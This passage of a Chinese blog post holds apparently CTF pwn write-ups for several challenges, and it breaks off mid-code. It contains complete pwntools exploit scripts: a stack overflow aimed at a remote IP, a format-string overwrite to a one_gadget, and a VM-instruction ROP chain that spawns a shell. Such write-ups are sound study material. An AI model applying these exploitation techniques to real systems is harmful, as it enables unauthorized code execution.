      <![CDATA[<h2 id="陕西游玩"><a href="#陕西游玩" class="headerlink" title="陕西游玩"></a>陕西游玩</h2><p>一道签到题吧，选项1栈溢出，partial overwrite到后⻔位置，爆破即可getshell</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = remote(<span class="string">&#x27;60.204.130.55&#x27;</span>,<span class="number">10001</span>)</span><br><span class="line"><span class="comment">#io = process(&#x27;./vuln&#x27;)</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Your choice :&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;1&#x27;</span>)</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Welcome to Huashan_Mountain\n&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x28</span>+<span class="string">b&#x27;\x9a\x12&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="easy-printf"><a href="#easy-printf" class="headerlink" title="easy_printf"></a>easy_printf</h2><p><code>checksec</code>看到保护全开，IDA打开</p><p>看到需要先通过比较，然后才能进入12次格式化字符串漏洞，比较直接解码base64就行，输入<code>TokameinE_is_the_best_pwner\x00</code>即可</p><p>然后就是格式化字符串了，可以先把栈地址，pie基址，libc基址同时泄露出来。栈中肯定是栈地址最多了，而且因为用了for循环，所以栈帧不会一直变换，因此就直接在栈里面找一个可以被修改的栈地址，然后指向返回地址，再修改返回地址对应字节为one_gadget，1&#x2F;16爆破一下就行了</p><p>exp:</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc.so.6&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rec</span>():</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;What do you want to say?&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io, &#x27;b fmtstr&#x27;)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;Do you know who the best pwner is?\n&#x27;</span>)</span><br><span class="line">io.send(<span class="string">b&#x27;TokameinE_is_the_best_pwner\x00&#x27;</span>)</span><br><span class="line"></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;%8$p.%9$p.%18$p&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;0x&#x27;</span>)</span><br><span class="line">stack = <span class="built_in">int</span>(io.recv(<span class="number">12</span>), <span class="number">16</span>)</span><br><span class="line">log.success(<span class="string">&#x27;stack ===&gt; &#x27;</span>+<span class="built_in">hex</span>(stack))</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;0x&#x27;</span>)</span><br><span class="line">pie = <span class="built_in">int</span>(io.recv(<span class="number">12</span>), <span class="number">16</span>)-<span class="number">0x12f7</span></span><br><span class="line">log.success(<span class="string">&#x27;pie ===&gt; &#x27;</span>+<span class="built_in">hex</span>(pie))</span><br><span class="line">io.recvuntil(<span class="string">b&#x27;0x&#x27;</span>)</span><br><span class="line">libcbase = <span class="built_in">int</span>(io.recv(<span class="number">12</span>), <span class="number">16</span>)-<span class="number">0x5f1168</span></span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line">one_gadget = [<span class="number">0x45226</span>, <span class="number">0x4527a</span>, <span class="number">0xf034a</span>, <span class="number">0xf1247</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#0x58: one_gadget[:2]</span></span><br><span class="line"><span class="comment">#0x5a: one_gadget[2:4]</span></span><br><span class="line"><span class="comment">#0x5c: one_gadget[4:6]</span></span><br><span class="line">backdoor = libcbase + one_gadget[<span class="number">0</span>]</span><br><span class="line"></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;%88c%8$hhn&#x27;</span>)</span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;%&#x27;</span>+<span class="built_in">str</span>(backdoor&amp;<span class="number">0xffff</span>).encode()+<span class="string">b&#x27;c&#x27;</span>+<span class="string">b&#x27;%10$hn&#x27;</span>)</span><br><span class="line"></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;%90c%8$hhn&#x27;</span>)</span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;%&#x27;</span>+<span class="built_in">str</span>((backdoor&gt;&gt;<span class="number">16</span>)&amp;<span class="number">0xffff</span>).encode()+<span class="string">b&#x27;c&#x27;</span>+<span class="string">b&#x27;%10$hn&#x27;</span>)</span><br><span class="line"></span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;%92c%8$hhn&#x27;</span>)</span><br><span class="line">rec()</span><br><span class="line">io.send(<span class="string">b&#x27;%&#x27;</span>+<span class="built_in">str</span>(backdoor&gt;&gt;<span class="number">32</span>).encode()+<span class="string">b&#x27;c&#x27;</span>+<span class="string">b&#x27;%10$hn&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):</span><br><span class="line">    rec()</span><br><span class="line">    io.send(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="babycvm"><a href="#babycvm" class="headerlink" title="babycvm"></a>babycvm</h2><p>这道题是一道vm，输入相应的机器码，程序会进行翻译并执行。关键在于逆向，可我一看到要逆就头大。。。</p><p>这里是看着Wings的wp复现的</p><p>首先将输入指令设为 123456789abcdef0，然后分析代码</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">__int64 *__fastcall <span class="title function_">fetch_and_decode</span><span class="params">(__int64 a1, __int64 *a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 *result; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = *(_QWORD *)(a1 + <span class="number">8</span> * (*(<span class="type">unsigned</span> <span class="type">int</span> *)(a1 + <span class="number">4</span>) + <span class="number">6LL</span>));</span><br><span class="line">  a2[<span class="number">3</span>] = (<span class="type">unsigned</span> __int16)v3 &gt;&gt; <span class="number">12</span>;</span><br><span class="line">  *a2 = (v3 &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xF</span>;</span><br><span class="line">  a2[<span class="number">1</span>] = (<span class="type">unsigned</span> __int8)v3 &gt;&gt; <span class="number">4</span>;</span><br><span class="line">  a2[<span class="number">2</span>] = (<span class="type">unsigned</span> __int8)v3;</span><br><span class="line">  result = a2;</span><br><span class="line">  a2[<span class="number">4</span>] = a2[<span class="number">2</span>] + ((v3 &gt;&gt; <span class="number">8</span>) &amp; <span class="number">0xFFFFFFFFFFFF00L</span>L);</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>则<code>a2[0] = e, a2[1] = f, a2[2] = f0, a2[3] = d, a2[4] = 123456789abcf0</code></p><p>到这里分析完了指令的解码，然后看译码部分</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">evaluate</span><span class="params">(_DWORD *a1, _QWORD *a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v2; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  __int64 v4; <span class="comment">// rdx</span></span><br><span class="line">  __int64 v5; <span class="comment">// rdx</span></span><br><span class="line"></span><br><span class="line">  ++a1[<span class="number">1</span>];</span><br><span class="line">  v2 = a2[<span class="number">3</span>];</span><br><span class="line">  <span class="keyword">switch</span> ( v2 )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">0LL</span>:</span><br><span class="line">      LODWORD(v2) = <span class="built_in">puts</span>(<span class="string">&quot;noop&quot;</span>);</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">1LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;loadi r%lld &lt;- %lld\n&quot;</span>, *a2, a2[<span class="number">4</span>]);</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *(_QWORD *)&amp;a1[<span class="number">2</span> * *a2 + <span class="number">4</span>] = a2[<span class="number">4</span>];</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">2LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;add r%lld &lt;- r%lld + r%lld\n&quot;</span>, *a2, a2[<span class="number">1</span>], a2[<span class="number">2</span>]);</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *(_QWORD *)&amp;a1[<span class="number">2</span> * *a2 + <span class="number">4</span>] = *(_QWORD *)&amp;a1[<span class="number">2</span> * a2[<span class="number">1</span>] + <span class="number">4</span>] + *(_QWORD *)&amp;a1[<span class="number">2</span> * a2[<span class="number">2</span>] + <span class="number">4</span>];</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">3LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;shiftl r%lld &lt;- r%lld &gt;&gt; %lld\n&quot;</span>, *a2, a2[<span class="number">1</span>], a2[<span class="number">2</span>]);</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *(_QWORD *)&amp;a1[<span class="number">2</span> * *a2 + <span class="number">4</span>] = *(_QWORD *)&amp;a1[<span class="number">2</span> * a2[<span class="number">1</span>] + <span class="number">4</span>] &gt;&gt; a2[<span class="number">2</span>];</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">4LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;load r%lld &lt;- @0x%02llx\n&quot;</span>, *a2, a2[<span class="number">4</span>]);</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *(_QWORD *)&amp;a1[<span class="number">2</span> * *a2 + <span class="number">4</span>] = *(_QWORD *)&amp;a1[<span class="number">2</span> * a2[<span class="number">4</span>] + <span class="number">12</span>];</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">5LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;store @0x%02llx &lt;- r%lld\n&quot;</span>, a2[<span class="number">4</span>], *a2);</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *(_QWORD *)&amp;a1[<span class="number">2</span> * a2[<span class="number">4</span>] + <span class="number">12</span>] = *(_QWORD *)&amp;a1[<span class="number">2</span> * *a2 + <span class="number">4</span>];</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">6LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;syscall %lld\n&quot;</span>, a2[<span class="number">4</span>]);</span><br><span class="line">      v2 = a2[<span class="number">4</span>];</span><br><span class="line">      <span class="keyword">if</span> ( !v2 )</span><br><span class="line">      &#123;</span><br><span class="line">        v3 = a1[<span class="number">2</span>];</span><br><span class="line">        a1[<span class="number">2</span>] = v3 - <span class="number">1</span>;</span><br><span class="line">        LODWORD(v2) = <span class="built_in">puts</span>((<span class="type">const</span> <span class="type">char</span> *)&amp;a1[<span class="number">2</span> * *(_QWORD *)&amp;a1[<span class="number">2</span> * (<span class="number">100</span> - v3) + <span class="number">12</span>] + <span class="number">12</span>]);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">7LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;shiftr r%lld &lt;- r%lld &lt;&lt; %lld\n&quot;</span>, *a2, a2[<span class="number">1</span>], a2[<span class="number">2</span>]);</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *(_QWORD *)&amp;a1[<span class="number">2</span> * *a2 + <span class="number">4</span>] = *(_QWORD *)&amp;a1[<span class="number">2</span> * a2[<span class="number">1</span>] + <span class="number">4</span>] &lt;&lt; a2[<span class="number">2</span>];</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">8LL</span>:</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;halt&quot;</span>);</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *a1 = <span class="number">0</span>;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">9LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;push r%lld\n&quot;</span>, *a2);</span><br><span class="line">      v4 = *a2;</span><br><span class="line">      ++a1[<span class="number">2</span>];</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *(_QWORD *)&amp;a1[<span class="number">2</span> * (<span class="number">100</span> - a1[<span class="number">2</span>]) + <span class="number">12</span>] = *(_QWORD *)&amp;a1[<span class="number">2</span> * v4 + <span class="number">4</span>];</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">10LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;pop r%lld\n&quot;</span>, *a2);</span><br><span class="line">      LODWORD(v2) = a1[<span class="number">2</span>];</span><br><span class="line">      a1[<span class="number">2</span>] = v2 - <span class="number">1</span>;</span><br><span class="line">      v5 = *(_QWORD *)&amp;a1[<span class="number">2</span> * (<span class="type">unsigned</span> <span class="type">int</span>)(<span class="number">100</span> - v2) + <span class="number">12</span>];</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      *(_QWORD *)&amp;a1[<span class="number">2</span> * *a2 + <span class="number">4</span>] = v5;</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">case</span> <span class="number">11LL</span>:</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;jump @%lld\n&quot;</span>, a2[<span class="number">4</span>]);</span><br><span class="line">      LODWORD(v2) = (_DWORD)a1;</span><br><span class="line">      a1[<span class="number">1</span>] = a2[<span class="number">4</span>];</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">default</span>:</span><br><span class="line">      <span class="keyword">return</span> v2;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> v2;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>分析函数可以发现，函数中的case由a2[3]即d决定，接下来以d分类分析</p><ul><li>d &#x3D; 0,        noop</li><li>d &#x3D; 1,        a1[2 * a2[0] + 4] &#x3D; a2[4]</li><li>d &#x3D; 2,        a1[2 * a2[0] + 4] &#x3D; a1[2 * a2[1] + 4] + a1[2 * a2[2] + 4]</li><li>d &#x3D; 3,        a1[2 * a2[0] + 4] &#x3D; a1[2 * a2[1] + 4] &gt;&gt; a2[2]</li><li>d &#x3D; 4,        a1[2 * a2[0] + 4] &#x3D; a1[2 * a2[4] + 12]</li><li>d &#x3D; 5,        a1[2 * a2[4] + 12] &#x3D; a1[2 * a2[0] + 4]</li><li>d &#x3D; 6,        puts( a1[2 * a1[2 * (100 - a1[2]) + 12] + 12] )</li><li>d &#x3D; 7,        a1[2 * a2[0] + 4] &#x3D; a1[2 * a2[1] + 4] &lt;&lt; a2[2]</li><li>d &#x3D; 8,        *a1 &#x3D; 0</li><li>d &#x3D; 9,        a1[2] +&#x3D; 1,       a1[2 * (100 - a1[2]) + 12] &#x3D; a1[2 * a2[0] + 4]</li><li>d &#x3D; 10,      a1[2] -&#x3D; 1,        a1[2 * a2[0] + 4] &#x3D; a1[2 * (100 - a1[2]) + 12]</li><li>d &#x3D; 11,      a1[1] &#x3D; a2[4]</li></ul><p>我们注意到，d &#x3D; 1 时由于a2[0]的值有限制，因此不能有很大能力修改栈内存，但是如果和d &#x3D; 5配合起来就可以实现对栈的修改即<code>a1[2*a2[4]+12] = a1[2*a2[0]+4] = a2[4]</code>。然后来看<code>run</code>函数，该函数中的s就是上面分析的a1，如果能精确控制某些值，那么我们就能覆盖返回地址</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">run</span><span class="params">(<span class="type">const</span> <span class="type">void</span> *a1, <span class="type">size_t</span> a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v3[<span class="number">6</span>]; <span class="comment">// [rsp+10h] [rbp-390h] BYREF</span></span><br><span class="line">  _QWORD s[<span class="number">6</span>]; <span class="comment">// [rsp+40h] [rbp-360h] BYREF</span></span><br><span class="line">  __int64 v5; <span class="comment">// [rsp+70h] [rbp-330h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v6; <span class="comment">// [rsp+398h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v6 = __readfsqword(<span class="number">0x28u</span>);</span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x350u</span>LL);</span><br><span class="line">  <span class="built_in">memcpy</span>(&amp;v5, a1, a2);</span><br><span class="line">  LODWORD(s[<span class="number">0</span>]) = <span class="number">1</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;==========================&quot;</span>);</span><br><span class="line">  <span class="keyword">while</span> ( LODWORD(s[<span class="number">0</span>]) )</span><br><span class="line">  &#123;</span><br><span class="line">    fetch_and_decode((__int64)s, v3);</span><br><span class="line">    evaluate(s, v3);</span><br><span class="line">  &#125;</span><br><span class="line">  show(s);</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28u</span>) ^ v6;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p>只需要进行简单的动态调试就可以发现只需要用<code>d = 1</code>和<code>d = 5</code>两种就可以构造ROP。并且在输入name部分可以直接泄露libc地址，而不需要使用指令中的<code>puts</code>来泄露（当然使用了也可以</p><p>exp为：</p><div class="code-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span>*</span><br><span class="line">context(arch=<span class="string">&#x27;x86_64&#x27;</span>, log_level = <span class="string">&#x27;debug&#x27;</span>)</span><br><span class="line"></span><br><span class="line">io = process(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">elf = ELF(<span class="string">&#x27;./vuln&#x27;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;./libc-2.31.so&#x27;</span>)</span><br><span class="line"></span><br><span class="line"><span class="comment">#attach(io)</span></span><br><span class="line"><span class="comment">#pause()</span></span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;welcome, tell me your name: &#x27;</span>)</span><br><span class="line">name = <span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span></span><br><span class="line">io.send(name)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;A&#x27;</span>*<span class="number">0x20</span>)</span><br><span class="line">libcbase = u64(io.recv(<span class="number">6</span>).ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))-<span class="number">0x1f12e8</span></span><br><span class="line">log.success(<span class="string">&#x27;libcbase ===&gt; &#x27;</span>+<span class="built_in">hex</span>(libcbase))</span><br><span class="line"></span><br><span class="line">sys = libcbase + <span class="number">0x52290</span></span><br><span class="line">bin_sh = libcbase + <span class="number">0x1b45bd</span></span><br><span class="line">pop_rdi = libcbase + <span class="number">0x23b6a</span></span><br><span class="line">ret = pop_rdi + <span class="number">1</span></span><br><span class="line"></span><br><span class="line">codes = [</span><br><span class="line">((sys&gt;&gt;<span class="number">8</span>)&lt;&lt;<span class="number">16</span>)+<span class="number">0x1000</span>+(sys&amp;<span class="number">0xff</span>),</span><br><span class="line">((bin_sh&gt;&gt;<span class="number">8</span>)&lt;&lt;<span class="number">16</span>)+<span class="number">0x1100</span>+(bin_sh&amp;<span class="number">0xff</span>),</span><br><span class="line">((pop_rdi&gt;&gt;<span class="number">8</span>)&lt;&lt;<span class="number">16</span>)+<span class="number">0x1200</span>+(pop_rdi&amp;<span class="number">0xff</span>),</span><br><span class="line">((ret&gt;&gt;<span class="number">8</span>)&lt;&lt;<span class="number">16</span>)+<span class="number">0x1300</span>+(ret&amp;<span class="number">0xff</span>),</span><br><span class="line"></span><br><span class="line"><span class="number">0x5367</span>,</span><br><span class="line"><span class="number">0x5268</span>,</span><br><span class="line"><span class="number">0x5169</span>,</span><br><span class="line"><span class="number">0x506a</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="string">loadi r0 &lt;- sys</span></span><br><span class="line"><span class="string">loadi r1 &lt;- bin_sh</span></span><br><span class="line"><span class="string">loadi r2 &lt;- pop_rdi</span></span><br><span class="line"><span class="string">loadi r3 &lt;- ret</span></span><br><span class="line"><span class="string">store @0x67 &lt;- r3</span></span><br><span class="line"><span class="string">store @0x68 &lt;- r2</span></span><br><span class="line"><span class="string">store @0x69 &lt;- r1</span></span><br><span class="line"><span class="string">store @0x6a &lt;- r0</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"></span><br><span class="line">codes += [<span class="number">0x8000</span>] * (<span class="number">100</span> - <span class="built_in">len</span>(codes))</span><br><span class="line">length = <span class="built_in">len</span>(codes)</span><br><span class="line"></span><br><span class="line">io.recvuntil(<span class="string">b&#x27;give me your code count: &#x27;</span>)</span><br><span class="line">io.sendline(<span class="built_in">str</span>(length+<span class="number">1</span>).encode())</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(length):</span><br><span class="line">    io.recvuntil(<span class="string">b&#x27;give me code: &#x27;</span>)</span><br><span class="line">    io.sendline(<span class="built_in">str</span>(codes[i]).encode())</span><br><span class="line">io.sendline(<span class="built_in">str</span>(<span class="number">0x8000</span>).encode())</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="Information-System"><a href="#Information-System" class="headerlink" title="Information_System"></a>Information_System</h2><p>这道题风水用的时间比较长，导致赛后半小时才出</p><p><code>checksec</code>看到保护全开，然后IDA打开看到实际上是一个堆题，不过前面还加了个登录部分</p><p>程序⾸先需要login，先在name和passwd输⼊时填满前0x10个字节，后⾯再跟上root和t00r。然后需 要输⼊正确的verification code，这个在得到时会有⼀些随机数操作，可以直接通过c程序模拟，也可 以⽤ctypes。模拟的c程序为</p><div class="code-container" data-rel="C"><figure class="iseeu highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span 